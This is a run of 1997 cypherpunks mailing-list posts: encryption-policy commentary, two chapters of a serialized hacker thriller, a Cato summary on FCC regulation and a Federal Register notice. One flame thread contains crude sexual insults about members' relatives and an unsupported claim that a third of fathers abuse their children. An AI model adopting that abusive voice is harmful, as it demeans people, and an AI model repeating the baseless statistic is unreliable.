> key signings, time-stamping, and other services will naturally concentrate
> in certain markets. 
> Longer term, the concentration may be more
> globalized, or even in "cyberspace," but almost certainly not in Britain.
 
> Nations may thus fear this flight of such services to other countries.

  Tim, at his best, interprets the U.K. laws from both a global and
local perspective.
  Certainly, any actions of the U.K., in particular, should be viewed
from the lingering shadow of the British Commonwealth. The U.K., having
ruled an Empire, is much more cognizant of the implications of how the
structure of proposed legislation will affect the expansion of global
aims, or the protection of indigeonous rule.

  Although "local content," as Tim points out, is undeniably one
of the major factors behind the legislation, the U.K. is also 
undoubtedly positioning themselves to resist letting the *power*
that comes from information *control* fall into the hands of
others.
  We have passed from the age when currency, alone, ruled.
  We are now truly in the Information Age, and those who wish to
rule, to control others, must rule and control information. This
is why the great battles of the day now surround standards and
encryption, and encryption standards, above all.

  The US Bumverments reversal on encryption policy is not a
result of enlightenment, but a result of other nations taking
a leading role in encryption development. They have not really
abandoned their plans to control all information, but have
merely recognized that they must move their efforts into the
global community before other powers have locked up the market.

  The only solution to the threat of global information control
by one, or a few, players, is to promote the widest possible
variety of encryption development.

> So, besides the obvious OECD/New World Order interpretations, the U.K.
> action may be a sign of something we may see more often: various countries
> attempting to restrict extra-territorial uses of encryption services for
> economic as well as for perceived national security reasons.

  Not just national security, but national *control*.
  Perhaps the U.K. is the first country to truly recognize and
act on the threat of national borders falling victim to the
global potential of new Internet technology.
  After all, they were one of the first nations to feel the
sting of the printing press, and to experience the birth pains
of the global changes that it would give birth to.

  Truly their is another great global war shaping up, but this 
time the battle will be fought with bits and bytes, and the
battleground will be electronic.
  The winner will rule the medium.

  The medium IS the message. Those who rule the medium will rule
the message. And in the Information Age, the message will rule
the world.
  "In the beginning, was the Message. And the Message was with
God, and the Message WAS God."

  McLuhan was a voice crying in the wilderness, an electronic
John the Baptist.
  He, too, spoke of one who would come who was greater than he.
And he warned of the evil one who would fight to rule the minds
of all mankind. 
  He warned of wolves, in sheep's clothing, who would claim that
their aim was to protect us from pornographers and drug dealers.
  Well, not in the King James version, perhaps, but I am certain
that it was worded that way in "Tim's Vernacular Translation of
the Bible."

TruthMonger

   N o t  D r. R o b e r t s
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 03:01:01 -0800 (PST)
To: raymond@wcs.net
Subject: Re: Disturbed Individual
In-Reply-To: <199703250618.WAA27055@mat.wcs.net>
Message-ID: <33379772.4ED6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Raymond Mereniuk wrote:
> 
> The following message is the product of a disturbed individual.  From
> a Freudian perspective the sendee is projecting his own perversions
> onto the character of the subject of his ridicule.  This analysis is
> a touch simplistic but then who are we dealing with???
>          ___
>        ./_ -\.
>       q| o O |p
>   -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise
> Raymond@wcs.net

Ray,
  I suspect it is the disturbed group-mind of the CypherPunks etherical
subconscious.
  My theory is that we take turns sending them in our sleep.
  Of course, I tend toward the Jungian perspective. Perhaps the truth
actually lies closer to the Nietzian Netherworld.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 03:00:17 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Announce: list-abuse mailing list
In-Reply-To: <v030209a5af5cf8b9f408@[139.167.130.246]>
Message-ID: <33379F2B.7CB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
 
> Based on the strongly positive feedback I received about the idea,
> I've gone ahead and created a "list-abuse" mailing list.  I
> apologize to members of "list-managers" who have already received
> this announcement.

  Those who do not accept his apology should complain to the 
list-abuse mailing list, suggesting that RH be unsubscribed
from the list.
  Not that I'm a troublemaker...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 03:01:57 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Jackboots in Canada
In-Reply-To: <199703250449.WAA00786@smoke.suba.com>
Message-ID: <3337A281.1BA2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
>         It isn't their rights being thrown away, it is the rights of the
> evil bikers.

  You hit the nail on the head.
  The Bummerment always gains their ground by taking away 'other' 
people's rights, one by one, until they've taken them all away.
  As long as people only complain when their own rights are being
taken away, then the Bummerment will rule by a 'divide and conquer'
approach.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 25 Mar 1997 02:50:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703250442.WAA00708@smoke.suba.com>
Message-ID: <V0a54D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> The Loon wrote:
> > Toto <toto@sk.sympatico.ca> writes:
> > > Dale Thorn wrote:
> > > > > Really? Define _common_. I have lived in the Mid West for about 85% o
> > > > > my life, and I know no one who learned these things from their parent
> > > > C'mon guys.  Parents diddling with their kids is more than common -
> > > > probably 1/3 of all fathers do something sexual with one or more
> > > > of their children at some point.  People just suppress it.
> > >   I can't believe it could be that common without the government
> > > finding a way to 'tax' it.
> > Def: relative humidity - the sweat on snow's balls as he fucks his sister.
>
> 	Well, at least she was better than your wife.

Was your sister also better than your mother?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 25 Mar 1997 04:14:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 15
Message-ID: <3337C1E0.7973@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Initiation


Jonathan was a wreck. A totally nervous wreck. 

The bottle of bourbon was almost empty, but that was O.K., he
had more-plenty more. He knew that the woman who came to 'initiate'
him into the circle was right about Bubba Rom Dos. Just an old,
drunken has-been who liked to shoot his mouth off and act important,
rambling on about things he knew nothing about.

But Jonathan knew about these weird, evil things. He knew much
more than he wanted to know about them. Things that he couldn't
forget, no matter how hard he tried.

After he had been to see Bubba, receiving only a denial of the
Magic Circle's existence (from a young girl whose existence was
so real that he still thought about her), Jonathan had immersed
himself in scanning old CyberPosts...email, he corrected himself...that
dated from the early CypherPunks era.
It was a twisted, rambling trail that was woven around and through
the history of the CypherPunks. CryptoRebels, CyberHackers, Spooks,
Phreaks, and Phantoms...
Everybody had an angle, or a game, and even the players often
seemed unsure of who they were playing with, or against.

Was it Gilmore, or Hughes-Jonathan couldn't remember, it had been
so many years ago-who had stood on the desk in his grandfather's
study, and uttered the words which might well have been the official
battle-cry of the CypherPunks?
"Close ranks-every man for himself."

Jonathan had pored over the archive surrounding the date of the
legendary moderation experiment on the list. It was an archive
that Jonathan's grandfather, among others, had used for PseudoID
Traffic Analysis, along with UNIX route tracing records and information
secretly gleaned from the military's Onion Routers, in order to
attempt to "separate the  double agents from the triple agents,"
as one of the Russian list members, Igor, used to say.
Jonathan still remembered the one time that he had received a
scathing rebuke from all present in his grandfather's study, as
a result of suggesting that they could learn much of what they
needed to know by studying the remailer records.
Big mistake.

Jonathan immediately found himself surrounded by a plethora of
enraged CypherPunks who obviously didn't give a fat rat's ass
whether he was a mere child, or not-nobody questioned their integrity
regarding their foremost contribution to anarchy...end of story.

One of the CypherPunks picked him up by his collar, lifting him
up to eye level, and said, in deadly serious, deep-throated tones,

"You don't tug on Superman's cape. You don't spit in the
wind. You don't peek in the files on your own remailer, and you
don't mess around with Jim."

To Jonathan's great relief, the whole ragged band broke out in
laughter. Jonathan learned later that the gentleman who had 'corrected'
him, Jim, was the author of an Assassination Bot-one which had
begun as a theoretical exercise, and later became a major tool
in the implementation of the CypherPunks launching of Channel
War II.

Jonathan shook his head slowly, trying to convince himself that
this was all a dream, and that he wasn't really irrevocably connected
to this band of fringe-dwellers, rogues and eccentrics.
It didn't work.

He remembered the night that Priscilla had knocked on his door,
and in his rush to shut off his blue-light unit he answered the
door with his upper body uncovered. He was terrified when he realized
that this woman, whom he had never seen before, was standing there,
dumbfounded, staring at his tattoo.
Jonathan had almost fainted with relief when she stepped inside
the door, quickly shutting it, reached into her cloak, and pulled
out a bottle of Jack Daniel's, with a label he instantly recognized,
saying in a quiet, calm voice, "We need to talk."

Tuesday was the worst. That was what set off his three-day binge.
He had been working on his skills, like the lady had told him
to do. And he was keeping his eyes open, like she said. Somehow,
seeking to observe the weird things, instead of dreading and trying
to avoid them, had helped. Now, instead of trying to repress the
memory of these events, he would analyze them, note them, try
to arrange them in a logical fashion, so that if he ever had to
deal with them, to work with or against them, he would be prepared.

"Be prepared.", that's what the woman had told him during
his initiation.

"You will probably will not be contacted for quite some time-perhaps
never.", the woman had said, but that was all right. Just
knowing that there was a Magic Circle, that there were
others out there, waiting, preparing, possibly already acting
against the strange forces he had encountered-that was enough,
just knowing that he wasn't alone.

And then Tuesday...

It had been a strange couple of weeks.

The weirdness going on in his system was just the 'usual' weirdness.
Programs that he hadn't written cropping up and running themselves.
They followed the normal pattern, in most cases-extracting newly
input information from the databases he was working with, sorting
and codifying it, uploading it to /dev/null. Theoretically, that
meant it was being sent 'nowhere', but he had long since figured
out that 'nowhere' was 'somewhere' that he was not supposed to
discover.

So he left it alone...until Tuesday.

The Cowboy, one of the top computer honchos on the InterNet, probably
the top honcho, according to many, had dropped out of sight,
suddenly and unexpectedly, a couple of weeks before.

Strangely, he had been called into the Cowboy's 'domain'-"Cowboys
don't have offices, they ride the range.", he had told Jonathan-the
next working day after his initiation into the 'Circle'. He thought
that this might be the 'contact' he was expecting, but it turned
out to be a routine, minor matter.

There was a bizarre incident, however, which left Jonathan wondering
if the Cowboy was really all that his reputation held him out
to be.

The Cowboy had been drinking quite liberally from a bottle of
Jack Daniel's he had stashed behind the monitor, while Jonathan
worked on some minor programs that the Cowboy had told him to
troubleshoot for him. Once Jonathan had completed his tasks, the
Cowboy came over to check his work, and proceeded to log onto
the terminal that Jonathan had been working on.

The Cowboy, his coordination seemingly affected by his prolonged
drinking, accidentally hit the return key at the 'login:' prompt,
and then typed 'Cowboy' into the 'password:' prompt by mistake,
which 'hid' what he had typed, as it is supposed to do, in order
to keep others from discovering another user's password. The Cowboy
now typed his password in at the subsequent 'login:' prompt, where
it was plainly visible for Jonathan to see. The Cowboy, in his
inebriated state, repeated this mistake several times, cursing
the system for not allowing him to log on, before realizing what
he had done.

The Cowboy, looking up sheepishly at Jonathan, corrected his error,
logged onto the system, checked Jonathan's work, then dismissed
him.

This type of thing happened every now and then, with one user
accidentally discovering another user's password, but Jonathan
had never heard of such a thing at the ultimate level of security
which the Cowboy was privileged to hold. And even a low-level
user, having made this mistake, would immediately 'change' his
or her password, in order to maintain the security of their user
identity and their work. The Cowboy had not done this, which bothered
Jonathan.

Then, when the Cowboy disappeared, Jonathan was called in to take
over some of his duties, which were spread amongst a variety of
individuals.

Jonathan was amazed at this, since the others sharing the Cowboys
former duties were all top-notch, experienced 'Net'ers, which
he was not, with high-level clearance in their regular posts.
Jonathan then discovered, when changing his user attributes to
match the Cowboy's, so that he could work with a variety of 'C-shell'
programs, that his own security-level had been changed to match
that of the Cowboy. What was unusual was that this had been done
weeks ago-at the same time that Jonathan had been at home being
initiated into the 'Circle of Eunuchs'.

Jonathan shivered as he thought about this, with a strange chill
running up and down his spine. The same strange chill had occurred
twice that day. The first time was when he realized that the strange
men surrounding him in the office he was temporarily working in-men
sent down directly from the Chief Director's Security Office-were
all working frantically to try to 'break into' the Cowboy's user
account-which Jonathan knew the password for. The second time
was shortly thereafter, when thinking about the 'password' incident,
and realizing that the Cowboy's password-gnimocsizemog-when spelled
backwards, read 'gomeziscoming'.

Then, Tuesday...

Jonathan was working at his home terminal, cleaning up a few leftovers
from the day's office work, and he had noticed the intruding,
unauthorized 'background' programs running, again.

When he checked into their activity, he noticed that they were
doing searches on all of his databases, searching for the word
'Uncle'. Each time the word was found, the database record was
uploaded to /dev/null, as usual. Jonathan decided it was time
to find out just where the purloined information had been going,
for all this time.

He pulled a sub-routine out of one of his programs, one designed
to report back on 'path' errors when debugging programs. It was
a sub-routine of his own design, and one that he was quite proud
of. When one of his programs was sending its output files to some
unknown place, with an unknown name, his sub-routine (which he
called 'find_me.c'), would intervene to 'tag along' with the file,
and, at its destination, change do a 'pwd' command (report the
'present working directory'), and use that and the name of the
unknown file as arguments for the 'find_me.c' file, which would
then report back to Jonathan's terminal with the path name and
file name of the lost file.

When Jonathan 'piped' his sub-routine into the intruder program,
however, he got some very unexpected results.

First, he was booted out of his login account, and his terminal
screen went blank. Secondly, the power to his system went off,
and he could not turn it back on. Thirdly...

Jonathan reached for another bottle of bourbon. This one was Wild
Turkey. He poured himself a stiff shot, threw it back, and thought
about the third effect of his program.

Thirdly, there was the sound of jack-boots on the stairs, several
minutes later, then the sound of his next-door neighbor's door
being kicked in, shots ringing out, and the sound of jack-boots
leaving shortly thereafter. Jonathan had looked out the window
to see dark figures loading his neighbor's lifeless body into
a dark vehicle and then drive off into the night.

The following morning, Jonathan had seen the news of his own death
come over the VirtualNews link, stating that a lone burglar, who
escaped capture, was responsible. 

Jonathan had switched apartments with his neighbor the day before,
switching their terminals inside the junction box himself, rather
than wait for the apartment manager's return from his vacation.
He had chastised himself for forgetting to change the names on
their mail slots, as he had promised the neighbor he would take
care of it, but that omission, apparently, had saved his life.


Jonathan reached for the bottle, once again, and thought about
Bubba Rom Dos.

The broken-down old buzzard may be, as the woman had told him,
a useless failure, having given up on life. But the geezer sure
knew how to do it with style, and since it would undoubtedly be
discovered, upon his landlord's return, that Jonathan was still
alive, he could think of no one better to emulate, than Bubba
Rom Dos, in his final days.

Jonathan raised his glass, in toast, to his new-found 'liquid
guru', and he thought about the young girl he had encountered
on his visit to see Bubba. What was her name? Alexis? 

Yes, Alexis.


Chapter 15 - Initiation









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 25 Mar 1997 04:15:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 16
Message-ID: <3337C201.68C3@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Shadow


The Cowboy sat calmly in the corner of the room,
smoking a hand-rolled cigarette and blowing smoke-rings towards
the ceiling, seemingly oblivious to his surroundings and the gravity
of the situation he was in.

"We just want to ask you a few questions."

An epitaph for a tombstone, if the Cowboy had ever
heard one.


A man with eyes of cold, blue steel sat behind an
antique desk to his right, and to his left was a group of elderly
gentlemen trying their best to remain unnoticed. The Cowboy assumed,
from their somber, scholarly air, that these were the Masters
of Antiquity, renowned for their thorough knowledge of the detailed
history of mankind's existence from the very dawn of civilization
up to the present. A knowledge that included even those details
that were officially denied.
The man behind the desk sat completely still, watching the Cowboy
with a seeming indifference that only served to underscore his
penetrating air of focused attention. After thirty minutes or
so, the man seemed to conclude that anything less than a direct
approach would be a useless waste of time, so he asked the Cowboy,
casually, as a friend talking to a friend, the one thing that
only this man could tell him.

"Tell me Cowboy. Why the 'Parker Paradox'? Why
that name, and not another?"

The Cowboy met the man's gaze and smiled, thought
to himself for a moment, and grinned. He got out of his chair
and walked to the desk, chuckling to himself, pulled a pint of
Jim Beam out of his back pocket, made a ceremonial gesture of
offering a drink to the man with eyes of cold blue steel, and
then sat down on the edge of the desk.

"It's a pretty obscure reference. You must be
the one they call the 'Shadow'"

The Shadow had read the man correctly. This was going
to be a fairly straightforward conversation. He reached for the
bottle the Cowboy had set on the table and pulled a shot glass
out of the center drawer of the antique oak desk before him.

"No. They don't call me that. Only one
man ever did, and that was a long, long time ago."
The Shadow's face betrayed no hint of pleasure or displeasure.
He leaned back in the chair, sipping his drink. It was the Cowboy's
turn to talk.

The Cowboy sat silent for a long time. He wasn't
avoiding the subject, or devising some elaborate story to throw
the 'enemy' off-track. He was 'lost in thought', his mind traveling
to a time and place that was long ago and far away.

"It took D'Shauneaux a long time before he finally
figured out why you let him live, you know. The whole 'Operation
Eunuchs' affair was so filled with false trails and subterfuge
that even D'Shauneaux forgot to look to simplicity for the answer
to all his questions.
"He finally got around to asking himself not, 'why am I alive?',
but rather, 'why am I not dead, like the others?'. That was when
he finally figured it out."

The Shadow leaned forward in his chair, elbows on
his knees, his chin resting on his hands and, for the first time
in a long and lonely career, he let down his hair and allowed
himself to ride the Nostalgia Express to a time and place that
was long ago and far away. He gazed up at the Cowboy, making no
attempt whatsoever to hide his interest in where this conversation
would ultimately lead.
The Shadow picked up the ball and immediately handed it back to
the Cowboy.
"Intriguing, but I'm from Missouri, show me," 


The Masters of Antiquity, the boss-hogs of scholarly
knowledge about anything and everything that had to do with the
annals of history, looked at each other in semi-amazement that
the Shadow could be referring to a colloquialism from a small
geographical area from the BC (Before Channel) era.
They had been called in to observe this 'interrogation' in the
hope that the man to be questioned would let slip some tiny detail
that would confirm his connection to a chain of mythological historical
events that had remained an unconfirmed mystery for as long as
could be remembered.

The Masters of Antiquity had been told to expect
having to stay over for the night, working until the operation
was complete, but they didn't have the slightest inkling that
they would not be returning home the following night...nor
the next night...nor the next.

If they were semi-amazed at the Shadow's reference
to an obscure proverb from the BC era, they were totally amazed
by the Cowboy's reply. He tossed out a phrase that they had never
heard before, but one which they recognized as an undeniable colloquialism
from the same time-period.
They began to write frantically, realizing that they were about
to hear details from an era that was still a mystery to even the
most astute scholars of Antiquity. 
"Well", the Cowboy said, "I'm too drunk to sing
and it's too wet to plow, so I guess we're going to be here awhile."


The Cowboy gestured toward the near-empty pint of
Jim Beam, and eased himself into a plump leather chair while the
Shadow reached to the back of the liquor cabinet and pulled out
a bottle of Jack Daniel's with a personalized custom label on
it that the Cowboy had first seen many, many years ago.

'Private Stock of Bubba Rom Dos'

The Cowboy froze. He sat, stunned, staring at the
bottle, at the label. Then he started to feel nauseous and had
to fight to keep back the bile that started to rise to his throat.

Few have seen the Shadow smile, but he now smiled
without restraint.

"No," the Shadow said, "there was
no point in killing him. He's of much more use to us alive than
dead. With a babbling, wild-eyed 'poster-boy for alcoholically
induced dementia' running around railing against us, it makes
your whole movement, and ours as well, look like a fabrication
of the lunatic fringe. By the time I left his house I almost doubted
our existence myself.
"I even suggested to the Council of Darkness that we put
Mr. Dos on our payroll. They were not amused."

The Shadow, however did seem amused, as he
continued,
"He made a great ceremony of presenting me with a gift from
his renowned private stock, smiling to himself at his own private
joke. He thought me a fool, walking ignorantly away from the greatest
threat against us-himself.
"I accepted his gift graciously and apologized to him for
any inconvenience I caused him. I told him that, although my suspicion
of him had been allayed, it was still my duty to keep an eye on
him from time to time. I almost smiled at my own private joke.
His madness is infectious"

"I never met the man, myself," the Cowboy
replied, "but it sounds like he's living up to the legend."


He reached for the bottle and once again picked up
his account of Vice-Admiral Bubba D'Shauneaux's sudden and stunning
realization of what Operation Eunuchs had really been about.
"The way I heard it, the Vice-Admiral nearly hit the floor
when he realized that the others were dead because they didn't
know, and that he was alive because he knew.

"When you told him he was right about
the Magic Circle, that it was just a myth, he was very relieved.
He thought that you let him live because he didn't believe
the Circle was real. When the rest of the people connected to
the affair all died, he realized that his assumption was wrong."

The Shadow smiled and waited for the Cowboy to continue.

"It blew his mind that he was involved in an
investigation that was at such a high level of importance that
those who didn't know had to die so that there was no chance they
would ever speak of it to anybody else. And those who 'knew' were
not a threat because there was no way to speak of it, no way to
explain it to those who didn't know.
"He realized that those who knew the reality of the
'myth' were not a danger-not in the slightest-because the affair
was so enormous that there was nothing they could say to anyone
without being thought crazy, babbling fools...nothing that
they could do about it. He knew he would be watched day and night-that
any attempt to make contact with the Circle would place them in
great peril.
"He took over the operation of Pearl Harbor Computers with
that in mind. He knew that after that nasty affair in Moose Jaw
no one in the Magic Circle would ever attempt to contact anyone
having even the remotest connection to C.J. Parker or Pearl Harbor
Computers. 

"It was the clearest message he could send to
the Circle to let them know that he knew of their existence, but
that he was a great danger to them."


The Cowboy paused to pour himself a shot and roll
a cigarette.

"It's like when a lake turns over in the spring
and the warm and cold water change places overnight. The top goes
to the bottom, and the bottom goes to the top.
"Vice-Admiral D'Shauneaux understood that he was involved
in something that was not just at a high level, but at a level
that goes beyond comprehension...beyond normality. A juncture
where everything flips over and becomes its opposite."

The Cowboy looked straight at the Shadow, but past
him, as if lost in a private memory, a thousand years and a thousand
miles away.

"Uncle Bubba was never quite the same after
that"


The Shadow was stunned. The Cowboy was a nephew of
D'Shauneaux? Impossible! It was nowhere in the records. Of course,
the Cowboy had access to the InterNet, but the records were so
highly secured that there was no possibility of tampering with
them. Or was there? The Shadow raised his guard once again. Things
were moving in a very dangerous direction.

The Cowboy seemed oblivious to the sudden change
in the Shadow. He took a sip of bourbon and continued on as if
everything was just the way it was before his reference to 'Uncle
Bubba'.

"A paradox, that's what he called it.
A trail of mystery and intrigue that led to an old and trusted
friend who somehow turned out to hold the key that could unlock
the door to a puzzle that was capable of changing the fate of
mankind in an instant...in the proverbial 'twinkling of an
eye'. A man whose death didn't remove the threat to Gomez and
the Dark Allies' arcane plans for mankind's doom. A man whose
demise only made the threat more momentous and tangible.
"He called the situation 'Parker's Paradox' in the memory
of a dear, departed friend. When I ran into the Internet problem,
I thought it would be an appropriate gesture to name it the Parker
Paradox in Uncle Bubba's honor.
"Besides, calling it the 'Inaugural Enigma' would have caused
me problems...serious problems."

The Cowboy and the Shadow were staring into each
other's eyes, a direct connection with no walls between them.
They were alone in their own private universe. A galaxy where
there was no past, no future, only the present...and no need
for games. A universe of two-but where only one would survive.



The Cowboy took a long pull off the bottle of Jack
Daniel's and turned his gaze to the Shadow once again.
"D'Shauneaux never did figure out who you really are, you
know. He never knew that he had come face to face with Gomez...and
walked away alive."

The Shadow's stare hardened, turning barren and harsh,
boiling with a violent fury. The Cowboy now knew he was right.
He was staring into the gateway of the Desolate Place...he
was gazing into the eyes of Gomez himself.

Knowing that he had the Shadow off-balance, he continued,

"You made a mistake letting D'Shauneaux live, you know. He
stood by and watched while you let C.J. Parker slip right through
your fingers."

Gomez felt the room spinning.

"You never should have sent that Mountie
away for 'debriefing'. That was all a part of the plan. 

"That's why your men never came back......I
killed them."

Gomez shot out of his chair, his countenance vile,
his eyes blazing with a raging fury of astonishment, terror and
disbelief.

"P3! Procedure 3!" he shouted. 

The Dark Allies charged into the room, mowing down
the Masters of Antiquity in one swift, efficient maneuver. Then
they turned and leveled their weapons on the Cowboy, waiting for
the man with the eyes of cold blue steel to give a signal-one
way or the other.
For the first time in a millennium, Gomez didn't know what to
do. Every fiber of his mind, body and emotions screamed at him
to remove the threat. The Cowboy...C.J. Parker...whoever
the hell he was...he must die.

Only eons of experience held him back, allowing him
to hang on to his awareness of the small, clear voice that warned
him to wait, warned him not to act hastily. Gomez paused, knowing
that it was essential for him to act rationally and remain in
control.

"Take him to Number Nine, Level Eleven,"
he roared at his men.
"His name is Arnold. Watch him as if your lives depended
on it," he warned them, his face growing sullen, his voice
deep and somber, "...because they do." 

Gomez turned his back to them, dismissing them with
a wave of his hand. He needed time to think. Suddenly, everything
had changed.


The Cowboy groaned in pain as Gomez's henchmen slammed
him into the back wall of the elevator. They had no idea who he
was, but the Shadow's instructions had left no doubt that he was
not to be killed, but to be watched scrupulously. The Dark Allies
saw no reason, however, why they couldn't hurt him very, very
badly.

The Cowboy tried to ignore the searing bolt of pain
that came each time they kicked him during the elevator ride to
the basement parking garage. He had bought himself some time.

It was a perilous game he was playing but he was still alive,
so it was a game that was working. The next move was up to Gomez
and the Cowboy knew he would move slowly and cautiously. 

Arnold. He'd had worse
names.


Chapter 16 - Shadow








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 25 Mar 1997 04:22:47 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: remailer spam throttle
In-Reply-To: <199703250150.BAA01138@server.test.net>
Message-ID: <3337C3D9.17A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

> With hash marks (##) "hash" capability remailers can already be made
> to do this, where it will work, but this could be made the default, to
> set the From to remailer@dev.null or whatever.  No answer is required,
> or possible via the from address (for mix and typeI), so why bother
> with a valid From field?

Adam,
  All remailer owners have full permission to use my dev.null
server as their From address.
  I have a highly efficient staff at my command and I can 
assure everyone that their replies will be discarded in the
order that they are received.

Bubba
"He who shits on the road, will meet flies upon his return."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 25 Mar 1997 07:31:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cato Institute paper on "Lessons from FCC Regulation"
Message-ID: <Pine.GSO.3.95.970325073120.20989E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 25 Mar 1997 07:30:50 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Cato Institute paper on "Lessons from FCC Regulation"

[I read through most of this paper last night. It doesn't say anything new
about the CDA per se, but it is worth reading for what it says about way
the Fairness Doctrine was used to intimidate political opponents, and how
government controls over the content of speech are intolerable. --Declan]

*************

   Linkname: 270. Chilling the Internet? Lessons from FCC
   Filename: http://www.cato.org/pubs/pas/pa-270es.html                 

                           CHILLING THE INTERNET?
             Lessons from FCC Regulation of Radio Broadcasting 

                   by Thomas W. Hazlett and David W. Sosa

                              Executive Summary

     Congress included the Communications Decency Act in the
     Telecommunications Act, which was signed into law on February 8,
     1996. The CDA sought to outlaw the use of computers and phone lines
     to transmit "indecent" material and provided jail terms and heavy
     fines for violators. Proponents of the act argue that it is
     necessary to protect minors from undesirable speech on the
     burgeoning Internet. The CDA was immediately challenged in court by
     the American Civil Liberties Union, and the special three-judge
     federal panel established to hear the case recently declared the
     act unconstitutional. Yet its ultimate adjudication remains in
     doubt.

     Ominously, the federal government has long experimented with
     regulations designed to improve the content of "electronic" speech.
     For example, the Fairness Doctrine, imposed on radio and television
     stations until 1987, was an attempt to establish a standard of
     "fair" coverage of important public issues. The deregulation of
     content controls on AM and FM radio programming, first under the
     Carter Federal Communications Commission in early 1981 and then
     under the Reagan FCC (which abolished the Fairness Doctrine in
     1987), led to profound changes in radio markets. Specifically, the
     volume of informational programming increased dramatically
     immediately after controls were ended--powerful evidence of the
     potential for regulation to have a "chilling effect" on free
     speech.

                                       *******

        Thomas W. Hazlett is a professor of agricultural and resource
     economics and director of the Program on Telecommunications Policy,
        University of California, Davis. David W. Sosa is a doctoral
      student in the Department of Agricultural and Resource Economics,
      University of California, Davis. This article originally appeared
      in the Michigan Telecommunications and Technology Law Review, an
              online journal, and is reprinted with permission.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 25 Mar 1997 05:22:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA InfoSys Meeting
Message-ID: <1.5.4.32.19970325131454.00747ba8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register: March 25, 1997:

Bureau of Export Administration

Information Systems Technical Advisory Committee; Notice of
Partially Closed Meeting

    A meeting of the Information Systems Technical Advisory Committee
will be held April 15 & 16, Room 1617M-2, in the Herbert C. Hoover
Building, 14th Street between Constitution and Pennsylvania Avenues,
N.W., Washington, D.C. This Committee advises the Office of the
Assistant Secretary for Export Administration with respect to technical
questions that affect the level of export controls applicable to
information systems equipment and technology.

April 15

Closed Session 9:00 a.m.-5:00 p.m.

    1. Discussion of matters properly classified under Executive Order
12958, dealing with U.S. export control programs and strategic criteria
related thereto.

April 16

General Session 9:00 a.m.-12:00p.m.

    2. Opening remarks by the Chairman.
    3. Update on implementation of the Wassenaar Arrangement.
    4. Presentation on Hewlett-Packard Company key-recovery products
for the International Cryptographic Framework.
    5. Comments or presentations by the public.

Closed Session 1:00 p.m.-4:00 p.m.

    6. Discussion of matters properly classified under Executive Order
12958, dealing with U.S. export control programs and strategic criteria
related thereto.
    The General Session of the meeting is open to the public and a
limited number of seats will be available. To the extent time permits, 
members of the public may present oral statements to the Committee. 
Written statements may be submitted at any time before or after the 
meeting. However, to facilitate distribution of public presentation 
materials to the Committee members, the Committee suggests that 
public presentation materials or comments be forwarded at least 
one week before the meeting to the address listed below: Ms. Lee 
Ann Carpenter, OAS/EA MS: 3886C, Bureau of Export Administration, 
U.S. Department of Commerce, Washington, D.C. 20230.

-----

Note: EO 12958 covers classified national security information:

   http://jya.com/eo12958.txt  (100K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 25 Mar 1997 06:14:50 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
